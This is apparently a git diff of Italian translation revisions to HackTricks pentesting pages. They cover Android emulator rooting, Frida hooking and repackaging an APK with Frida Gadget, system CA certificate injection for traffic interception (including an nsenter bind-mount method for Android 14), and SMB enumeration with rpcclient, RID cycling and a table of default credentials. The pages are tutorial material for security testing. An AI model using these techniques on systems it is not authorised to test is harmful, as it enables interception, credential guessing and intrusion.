- Su host x86_64, l'emulazione full-system ARM64 non è supportata da API 28+. Per Android 11+ usa le immagini Google APIs/Play che includono la traduzione per-app ARM-to-x86 per eseguire molte app ARM-only rapidamente.
- Varianti delle immagini di sistema: google_apis (debuggable, permette adb root), google_apis_playstore (non rootabile), aosp/default (leggero).
- Tipi di build: userdebug spesso permette `adb root` su immagini abilitate per il debug. Le immagini Play Store sono build di produzione e bloccano il root.
- Su host x86_64, l'emulazione ARM64 full-system non è supportata da API 28+. Per Android 11+ usa immagini Google APIs/Play che includono la traduzione per-app ARM-to-x86 per eseguire molte app solo ARM rapidamente.
### Snapshots dalla CLI
### Snapshot dalla CLI
```bash
# Save a clean snapshot from the running emulator
adb -s emulator-5554 emu avd snapshot save my_clean_setup
@ -229,31 +229,31 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## Traduzione binaria ARM→x86 (Android 11+)
## ARM→x86 traduzione binaria (Android 11+)
Le immagini Google APIs e Play Store su Android 11+ possono tradurre i binari ARM delle app per processo mantenendo il resto del sistema nativo x86/x86_64. Questo è spesso abbastanza veloce per testare molte app che girano solo su ARM su desktop.
Le immagini Google APIs e Play Store su Android 11+ possono tradurre i binari delle app ARM per processo mantenendo il resto del sistema nativo x86/x86_64. Questo è spesso abbastanza veloce per testare molte app solo ARM su desktop.
> Consiglio: Preferisci le immagini Google APIs x86/x86_64 durante i pentests. Le immagini Play sono comode ma bloccano `adb root`; usale solo quando richiedi specificamente i Play services e accetti la mancanza di root.
> Suggerimento: Preferisci le immagini Google APIs x86/x86_64 durante pentests. Le immagini Play sono comode ma bloccano `adb root`; usale solo quando richiedi specificamente Play services e accetti la mancanza di root.
## Rooting a Play Store device
Se hai scaricato un dispositivo con Play Store non potrai ottenere root direttamente e otterrai questo messaggio di errore
Se hai scaricato un dispositivo con Play Store non sarai in grado di ottenere root direttamente, e riceverai questo messaggio di errore
```
$ adb root
adbd cannot run as root in production builds
```
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) sono riuscito ad ottenere il root (segui ad esempio [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) sono riuscito a ottenere i permessi di root (segui ad esempio [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Installare il certificato di Burp
## Installare il certificato Burp
Consulta la pagina seguente per imparare come installare un certificato CA personalizzato:
Consulta la seguente pagina per imparare come installare un certificato CA personalizzato:
{{#ref}}
install-burp-certificate.md
{{#endref}}
## Opzioni utili per AVD
## Opzioni AVD utili
### Creare uno snapshot

36
src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
View File

@ -10,8 +10,8 @@ Installa **frida tools**:
pip install frida-tools
pip install frida
```
**Scarica e installa** su android il **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
One-liner per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, assegnare i permessi di esecuzione e avviarlo in background:
**Scarica e installa** su Android il **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Comando one-liner per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, assegnare i permessi di esecuzione ed eseguirlo in background:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
@ -24,8 +24,8 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
Due modi comuni per strumentare le app Android con Frida:
- Frida server (rooted devices): Caricare e avviare un daemon nativo che consente di collegarsi a qualsiasi processo.
- Frida Gadget (no root): Includere Frida come libreria condivisa all'interno dell'APK e caricarla automaticamente nel processo di destinazione.
- Frida server (rooted devices): Push e avvia un daemon nativo che ti permette di attach a qualsiasi processo.
- Frida Gadget (no root): Includi Frida come libreria condivisa all'interno dell'APK e caricala automaticamente nel processo target.
Frida server (rooted)
```bash
@ -42,9 +42,9 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
1) Estrai l'APK, aggiungi il gadget .so e la configurazione:
1) Estrai l'APK, aggiungi il gadget .so e la config:
- Posiziona libfrida-gadget.so in lib/<abi>/ (es., lib/arm64-v8a/)
- Crea assets/frida-gadget.config con le impostazioni di caricamento degli script
- Crea assets/frida-gadget.config con le impostazioni per il caricamento degli script
Esempio frida-gadget.config
```json
@ -53,10 +53,10 @@ Esempio frida-gadget.config
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
2) Riferisci/carica il gadget in modo che venga inizializzato presto:
- Più semplice: aggiungi un piccolo stub Java con System.loadLibrary("frida-gadget") in Application.onCreate(), oppure usa il caricamento delle librerie native già presente.
2) Riferisci/carica il gadget in modo che venga inizializzato all'avvio:
- Più semplice: Aggiungi un piccolo stub Java con System.loadLibrary("frida-gadget") in Application.onCreate(), oppure usa il caricamento delle librerie native già presente.
3) Ricompila e firma l'APK, poi installalo:
3) Ripacchetta e firma l'APK, poi installalo:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@ -70,16 +70,16 @@ frida-ps -Uai
frida -U -n com.example.app
```
Note
- Gadget viene rilevato da alcune protezioni; mantieni nomi/percorsi stealthy e caricalo tardi/condizionatamente se necessario.
- Su app hardened, prediligi test su device rooted con server + late attach, oppure combina con Magisk/Zygisk hiding.
- Gadget viene rilevato da alcune protezioni; mantieni nomi/percorsi stealth e caricalo tardi/condizionalmente se necessario.
- Sulle app hardenate, preferisci test su device rootato con server + late attach, oppure combinali con Magisk/Zygisk hiding.
## Tutorials
## Tutorial
### [Tutorial 1](frida-tutorial-1.md)
**Da**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Codice Sorgente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Codice sorgente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Segui il [link per leggerlo](frida-tutorial-1.md).**
@ -88,7 +88,7 @@ Note
**Da**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs e codice sorgente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Segui il[ link per leggerlo.](frida-tutorial-2.md)**
**Segui il [link per leggerlo.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
@ -99,7 +99,7 @@ Note
**Puoi trovare altri Awesome Frida scripts qui:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Esempi Rapidi
## Esempi rapidi
### Chiamare Frida da riga di comando
```bash
@ -127,7 +127,7 @@ sys.stdin.read()
```
### Hooking funzioni senza parametri
Hook la funzione `a()` della classe `sg.vantagepoint.a.c`
Eseguire un hook sulla funzione `a()` della classe `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -170,7 +170,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
```
### Hooking di funzioni con parametri e recupero del valore
Hooking di una funzione di decriptazione. Stampa l'input, chiama la funzione originale per decriptare l'input e infine stampa i dati in chiaro:
Hooking di una funzione di decryption. Stampa l'input, chiama la funzione originale per eseguire il decrypt dell'input e infine stampa i dati in chiaro:
```javascript
function getString(data) {
var ret = ""
@ -197,7 +197,7 @@ return ret //[B
```
### Hooking functions e chiamarle con il nostro input
Hook a function che riceve una string e chiamala con un'altra string (da [here](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook a function che riceve una string e chiamala con un'altra string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class

50
src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
View File

@ -1,9 +1,9 @@
# Installare il certificato di Burp
# Installare il certificato Burp
{{#include ../../banners/hacktricks-training.md}}
## Proxy a livello di sistema tramite ADB
## Proxy di sistema tramite ADB
Configura un proxy HTTP globale in modo che tutte le app instradino il traffico attraverso il tuo interceptor (Burp/mitmproxy):
```bash
@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
Tip: In Burp, imposta il listener su 0.0.0.0 in modo che i dispositivi sulla LAN possano connettersi (Proxy -> Options -> Proxy Listeners).
Suggerimento: in Burp, associa il tuo listener a 0.0.0.0 in modo che i dispositivi nella LAN possano connettersi (Proxy -> Options -> Proxy Listeners).
## Su una macchina virtuale
@ -21,12 +21,12 @@ Per prima cosa devi scaricare il certificato Der da Burp. Puoi farlo in _**Proxy
![](<../../images/image (367).png>)
**Esporta il certificato nel formato Der** e trasformiamolo in una forma che **Android** possa **capire.** Nota che **per configurare il certificato di Burp sulla macchina Android in AVD** è necessario **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\
Per esempio puoi eseguirla così:
**Esporta il certificato in formato Der** e trasformiamolo in una forma che **Android** sarà in grado di **interpretare.** Nota che **per configurare il certificato Burp sulla macchina Android in AVD** devi **eseguire** questa macchina **con** l'opzione **`-writable-system`**.\
Ad esempio puoi eseguirla così:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
Quindi, per **configurare il certificato di burps**, esegui:
Poi, per **configurare burps certificate**, esegui:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
Una volta che la **macchina ha finito di riavviarsi** il certificato Burp sarà in uso!
Una volta che la **macchina ha completato il riavvio**, il certificato di burp sarà in uso!
## Usare Magisc
## Using Magisc
Se hai **effettuato il root del dispositivo con Magisc** (magari un emulator), e **non puoi seguire** i precedenti **passaggi** per installare il certificato Burp perché il **file system è di sola lettura** e non puoi rimontarlo in scrittura, c'è un'altra via.
Se **hai effettuato il root del tuo dispositivo con Magisc** (forse un emulatore), e **non puoi seguire** i precedenti **passaggi** per installare il certificato Burp perché il **filesystem è di sola lettura** e non puoi rimontarlo in scrittura, esiste un altro metodo.
Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi:
Spiegato in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi:
1. **Installa un certificato CA**: Basta **trascina e rilascia** il certificato DER Burp cambiando l'estensione in `.crt` sul dispositivo in modo che venga memorizzato nella cartella Downloads e vai su `Install a certificate` -> `CA certificate`
1. **Installa un certificato CA**: Basta fare **drag&drop** del certificato DER di Burp cambiando l'estensione in `.crt` nel telefono in modo che sia memorizzato nella cartella Downloads e vai a `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
@ -53,7 +53,7 @@ Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Rendilo attendibile a livello di sistema**: Scarica il modulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un file .zip), **trascina e rilascia** il file nel telefono, vai alla **Magics app** sul telefono nella sezione **`Modules`**, clicca su **`Install from storage`**, seleziona il modulo `.zip` e una volta installato **riavvia** il telefono:
2. **Rendilo trusted di sistema**: Scarica il modulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un file .zip), **drag&drop it** nel telefono, vai all'app **Magics** sul telefono nella sezione **`Modules`**, clicca su **`Install from storage`**, seleziona il modulo `.zip` e una volta installato **riavvia** il telefono:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
@ -61,19 +61,19 @@ Spiegato in [**questo video**](https://www.youtube.com/watch?v=qQicUW0svB8) devi
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Scopri come creare un modulo Magisc
### Learn how to create a Magisc module
Vedi [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Dopo Android 14
Nell'ultima release di Android 14 è stata osservata una modifica significativa nella gestione dei certificati delle Certificate Authority (CA) attendibili dal sistema. In precedenza, questi certificati risiedevano in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi di root, il che ne permetteva l'applicazione immediata a livello di sistema. Tuttavia, con Android 14, la posizione di archiviazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è immutabile per natura.
Nell'ultima release di Android 14 è stato osservato un cambiamento significativo nella gestione dei certificati delle Certificate Authority (CA) trusted di sistema. In precedenza, questi certificati risiedevano in **`/system/etc/security/cacerts/`**, accessibili e modificabili dagli utenti con privilegi root, il che permetteva l'applicazione immediata a livello di sistema. Tuttavia, con Android 14, la posizione di memorizzazione è stata spostata in **`/apex/com.android.conscrypt/cacerts`**, una directory all'interno del percorso **`/apex`**, che è per natura immutabile.
I tentativi di rimontare il percorso APEX cacerts come scrivibile falliscono, poiché il sistema non consente tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un file system temporaneo (tmpfs) non aggirano l'immutabilità; le applicazioni continuano ad accedere ai dati originali dei certificati indipendentemente dalle modifiche a livello di file system. Questa resilienza è dovuta al fatto che il mount di **`/apex`** è configurato con PRIVATE propagation, garantendo che qualsiasi modifica all'interno della directory **`/apex`** non influisca sugli altri processi.
I tentativi di rimontare il **percorso cacerts di APEX** come scrivibile falliscono, poiché il sistema non permette tali operazioni. Anche i tentativi di smontare o sovrapporre la directory con un file system temporaneo (tmpfs) non aggirano l'immutabilità; le applicazioni continuano ad accedere ai dati originali dei certificati indipendentemente dalle modifiche a livello di file system. Questa resilienza è dovuta al fatto che il mount di **`/apex`** è configurato con propagation PRIVATE, garantendo che eventuali modifiche all'interno della directory **`/apex`** non influenzino altri processi.
L'inizializzazione di Android coinvolge il processo `init` che, all'avvio del sistema operativo, avvia anche il processo Zygote. Questo processo è responsabile del lancio dei processi delle applicazioni con un nuovo mount namespace che include un mount privato di **`/apex`**, isolando così le modifiche a questa directory dagli altri processi.
L'inizializzazione di Android coinvolge il processo `init` che, all'avvio del sistema operativo, avvia anche il processo Zygote. Questo processo è responsabile del lancio dei processi applicativi con un nuovo namespace di mount che include un mount privato di **`/apex`**, isolando quindi le modifiche a questa directory dagli altri processi.
Tuttavia, esiste una soluzione alternativa per chi ha bisogno di modificare i certificati CA attendibili a livello di sistema nella directory **`/apex`**. Questa prevede il rimontaggio manuale di **`/apex`** per rimuovere la PRIVATE propagation, rendendolo così scrivibile. Il processo include la copia del contenuto di **`/apex/com.android.conscrypt`** in un'altra posizione, lo smontaggio della directory **`/apex/com.android.conscrypt`** per eliminare il vincolo di sola lettura e poi il ripristino dei contenuti nella loro posizione originale all'interno di **`/apex`**. Questo approccio richiede azione rapida per evitare crash di sistema. Per assicurare l'applicazione delle modifiche a livello di sistema, si raccomanda di riavviare `system_server`, che effettivamente riavvia tutte le applicazioni e riporta il sistema in uno stato consistente.
Tuttavia, esiste una soluzione alternativa per chi ha bisogno di modificare i certificati CA trusted di sistema all'interno della directory **`/apex`**. Questo comporta il rimontaggio manuale di **`/apex`** per rimuovere la propagation PRIVATE, rendendolo così scrivibile. Il processo include la copia del contenuto di **`/apex/com.android.conscrypt`** in un'altra posizione, lo smontaggio della directory **`/apex/com.android.conscrypt`** per eliminare il vincolo di sola lettura, e poi il ripristino dei contenuti nella loro posizione originale all'interno di **`/apex`**. Questo approccio richiede azioni rapide per evitare crash del sistema. Per garantire l'applicazione a livello di sistema di queste modifiche, è consigliato riavviare il `system_server`, che effettivamente riavvia tutte le applicazioni e porta il sistema in uno stato consistente.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -131,24 +131,24 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
### Bind-mounting through NSEnter
### Bind-mounting attraverso NSEnter
1. **Impostazione di una directory scrivibile**: Inizialmente, viene creata una directory scrivibile montando un `tmpfs` sopra l'esistente directory dei certificati di sistema non-APEX. Questo viene ottenuto con il seguente comando:
1. **Creazione di una directory scrivibile**: Inizialmente, viene creata una directory scrivibile montando un `tmpfs` sopra la directory dei certificati di sistema esistente non-APEX. Questo viene ottenuto con il seguente comando:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Preparazione dei certificati CA**: Dopo aver impostato la directory scrivibile, i certificati CA che si intende utilizzare devono essere copiati in questa directory. Questo può comportare la copia dei certificati di default da `/apex/com.android.conscrypt/cacerts/`. È essenziale regolare di conseguenza i permessi e le etichette SELinux di questi certificati.
3. **Montaggio bind per Zygote**: Utilizzando `nsenter`, si entra nel namespace di mount di Zygote. Zygote, essendo il processo responsabile dell'avvio delle applicazioni Android, richiede questo passaggio per assicurare che tutte le applicazioni avviate d'ora in poi utilizzino i certificati CA appena configurati. Il comando usato è:
2. **Preparazione dei certificati CA**: Dopo aver configurato la directory scrivibile, i certificati CA che si intende utilizzare devono essere copiati in questa directory. Ciò può implicare la copia dei certificati di default da `/apex/com.android.conscrypt/cacerts/`. È essenziale adeguare i permessi e le etichette SELinux di questi certificati di conseguenza.
3. **Bind mount per Zygote**: Utilizzando `nsenter`, si entra nel mount namespace di Zygote. Zygote, essendo il processo responsabile dell'avvio delle applicazioni Android, richiede questo passaggio per garantire che tutte le applicazioni avviate d'ora in poi utilizzino i certificati CA appena configurati. Il comando utilizzato è:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Questo garantisce che ogni nuova app avviata aderirà alla configurazione aggiornata dei certificati CA.
Ciò garantisce che ogni nuova app avviata rispetterà la configurazione aggiornata dei certificati CA.
4. **Applicare le modifiche alle app in esecuzione**: Per applicare le modifiche alle applicazioni già in esecuzione, `nsenter` viene nuovamente usato per entrare nel namespace di ciascuna app individualmente e eseguire un bind mount simile. Il comando necessario è:
4. **Applicare le modifiche alle app in esecuzione**: Per applicare le modifiche alle applicazioni già in esecuzione, si utilizza nuovamente `nsenter` per entrare nel namespace di ciascuna app individualmente ed eseguire un bind mount analogo. Il comando necessario è:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternative Approach - Soft Reboot**: Un metodo alternativo consiste nell'eseguire il bind mount sul processo `init` (PID 1) seguito da un soft reboot del sistema operativo con i comandi `stop && start`. Questo approccio propagherebbe le modifiche attraverso tutti i namespaces, evitando la necessità di indirizzare singolarmente ogni app in esecuzione. Tuttavia, questo metodo è generalmente meno preferito a causa dell'inconveniente del reboot.
5. **Approccio alternativo - Riavvio soft**: Un metodo alternativo consiste nell'eseguire il bind mount sul processo `init` (PID 1) seguito da un riavvio soft del sistema operativo con i comandi `stop && start`. Questo approccio propagherebbe le modifiche attraverso tutti i namespace, evitando la necessità di intervenire singolarmente su ogni app in esecuzione. Tuttavia, questo metodo è generalmente meno preferito a causa dell'inconveniente del riavvio.
## Riferimenti

145
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -2,59 +2,60 @@
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
## **Porta 139**
Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per permettere ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione dei dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono tramite i loro nomi NetBIOS, che possono essere lunghi fino a 16 caratteri e spesso sono diversi dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) invia un comando per "call" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per permettere ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione dei dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono tramite i loro nomi NetBIOS, che possono essere lunghi fino a 16 caratteri e sono spesso diversi dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che agisce come client) invia un comando "call" a un'altra applicazione (che agisce come server) utilizzando **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tecnicamente, Port 139 è indicato come 'NBT over IP', mentre Port 445 è identificato come 'SMB over IP'. L'acronimo **SMB** sta per '**Server Message Blocks**', noto anche modernamente come **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicazione, SMB/CIFS è principalmente utilizzato per consentire l'accesso condiviso a file, stampanti, porte seriali e per facilitare varie forme di comunicazione tra i nodi di una rete.
Tecnicamente, la porta 139 è indicata come ‘NBT over IP’, mentre la porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche oggi noto come **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicazione, SMB/CIFS è utilizzato principalmente per permettere l'accesso condiviso a file, stampanti, porte seriali e per facilitare varie forme di comunicazione tra nodi di una rete.
Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttamente su TCP/IP, eliminando la necessità di NetBIOS over TCP/IP, tramite l'utilizzo di Port 445. Al contrario, su altri sistemi si osserva l'impiego di Port 139, il che indica che SMB viene eseguito in combinazione con NetBIOS over TCP/IP.
Ad esempio, nel contesto di Windows, si evidenzia che SMB può funzionare direttamente su TCP/IP, eliminando la necessità di NetBIOS over TCP/IP, mediante l'utilizzo della porta 445. Al contrario, su altri sistemi si osserva l'impiego della porta 139, il che indica che SMB viene eseguito in combinazione con NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Il **Server Message Block (SMB)** protocollo, che opera con un modello **client-server**, è progettato per regolare il **accesso ai file**, le directory e altre risorse di rete come stampanti e router. Utilizzato principalmente nella famiglia di sistemi operativi **Windows**, SMB garantisce la retrocompatibilità, permettendo a dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software libera, che consente l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
Il protocollo **Server Message Block (SMB)**, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, le directory e altre risorse di rete come stampanti e router. Utilizzato principalmente nella serie di sistemi operativi **Windows**, SMB garantisce compatibilità retroattiva, permettendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software libera, che consente l'implementazione di SMB su sistemi **Linux** e **Unix**, facilitando così la comunicazione cross-platform tramite SMB.
Le share, che rappresentano **porzioni arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in modo parzialmente **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un controllo granulare sulle autorizzazioni degli utenti, includendo attributi come **`execute`**, **`read`**, e **`full access`**. Queste autorizzazioni possono essere assegnate a singoli utenti o gruppi, sulla base delle share, e sono distinte dai permessi locali impostati sul server.
Le share, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in modo parzialmente **indipendente** dalla struttura reale del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, permettono un **controllo granulare** sui permessi utente, includendo attributi come `execute`, `read` e `full access`. Questi permessi possono essere assegnati a singoli utenti o gruppi, basati sulle share, e sono distinti dai permessi locali impostati sul server.
### IPC$ Share
L'accesso alla share IPC$ può essere ottenuto tramite una null session anonima, permettendo l'interazione con i servizi esposti tramite named pipes. L'utilità `enum4linux` è utile a questo scopo. Se utilizzata correttamente, consente l'acquisizione di:
L'accesso alla share IPC$ può essere ottenuto tramite una null session anonima, permettendo l'interazione con i servizi esposti tramite named pipes. L'utility `enum4linux` è utile a questo scopo. Utilizzata correttamente, consente l'acquisizione di:
- Informazioni sul sistema operativo
- Dettagli sul dominio padre
- Una lista degli utenti e dei gruppi locali
- Un elenco di utenti e gruppi locali
- Informazioni sulle share SMB disponibili
- La policy di sicurezza effettiva del sistema
Questa funzionalità è cruciale per amministratori di rete e professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB (Server Message Block) su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, fondamentale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
Questa funzionalità è fondamentale per amministratori di rete e professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
```bash
enum4linux -a target_ip
```
Il comando sopra è un esempio di come `enum4linux` potrebbe essere usato per eseguire un'enumerazione completa contro un target specificato da `target_ip`.
Il comando sopra è un esempio di come `enum4linux` potrebbe essere utilizzato per eseguire un'enumerazione completa contro un target specificato da `target_ip`.
## Che cos'è NTLM
## Cos'è NTLM
Se non sai cos'è NTLM o vuoi capire come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM**, che spiega **come funziona questo protocollo e come puoi sfruttarlo:**
Se non sai cos'è NTLM o vuoi sapere come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM** dove viene spiegato **come funziona questo protocollo e come puoi sfruttarlo:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Enumerazione dei server**
## **Enumerazione del server**
### **Scan** una rete per cercare host:
### **Scansione** di una rete alla ricerca di hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### Versione del server SMB
Per individuare possibili exploit per SMB è importante conoscere quale versione è in uso. Se questa informazione non è disponibile dagli altri strumenti usati, puoi:
Per cercare possibili exploits relativi alla versione SMB è importante sapere quale versione è in uso. Se queste informazioni non compaiono negli altri strumenti utilizzati, puoi:
- Usa il modulo ausiliario **MSF** `**auxiliary/scanner/smb/smb_version**`
- Oppure questo script:
@ -74,21 +75,21 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Cerca exploit**
### **Ricerca exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Possibili** credenziali
### **Possibili** Credenziali
| **Username(s)** | **Common passwords** |
| **Nome utente(s)** | **Password comuni** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| _(vuoto)_ | _(vuoto)_ |
| guest | _(vuoto)_ |
| Administrator, admin | _(vuoto)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerare utenti, gruppi e utenti connessi
### Enumerare Utenti, Gruppi e Utenti Connessi
Queste informazioni dovrebbero essere già state raccolte da enum4linux e enum4linux-ng
Queste informazioni dovrebbero già essere raccolte da enum4linux e enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -133,13 +134,13 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Elencare gli utenti locali
### Enumerare utenti locali
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Comando monoriga
Comando in una riga
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -149,20 +150,20 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerazione LSARPC e SAMR rpcclient**
### **Enumerazione di LSARPC e SAMR rpcclient**
{{#ref}}
